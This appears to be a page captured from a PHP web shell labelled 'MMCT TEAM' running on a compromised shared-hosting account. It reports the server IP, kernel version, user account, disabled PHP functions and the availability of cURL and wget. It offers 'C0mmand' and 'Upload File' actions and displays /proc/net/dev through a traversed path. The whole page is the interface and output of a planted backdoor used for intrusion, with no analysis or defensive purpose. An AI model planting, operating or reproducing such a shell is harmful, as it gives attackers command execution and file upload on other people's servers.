MMCT TEAM
Server IP : 2a02:4780:11:767:0:2c41:85d9:6  /  Your IP : 216.73.217.108
Web Server : LiteSpeed
System : Linux in-mum-web667.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64
User : u742491609 ( 742491609)
PHP Version : 8.1.34
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0555) :  /../proc/net/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //../proc/net/dev
Inter-|   Receive                                                |  Transmit
 face |bytes    packets errs drop fifo frame compressed multicast|bytes    packets errs drop fifo colls carrier compressed
    lo: 463760940715004 166613588773    0    0    0     0          0         0 463760940715004 166613588773    0    0    0     0       0          0
ens3f0np0: 26481591894061 30650881053    0 2436655569    0     0          0   1622884 36311208131203 32250245001    0    5    0     0       0          0
ens3f1np1: 26514742363855 30638668596    0 2400599922    0     0          0   1621048 37505325077620 31969509063    0    4    0     0       0          0
  eno1:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
  eno2:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
ens3f1np1.666: 24862125502235 14771044017    0    0    0     0          0   1225316 36070417594350 15240378495    0 129105741    0     0       0          0
ens3f0np0.666: 24829416464743 14807777944    0    0    0     0          0   1224567 34903516569588 16120370865    0 131548406    0     0       0          0

MMCT - 2023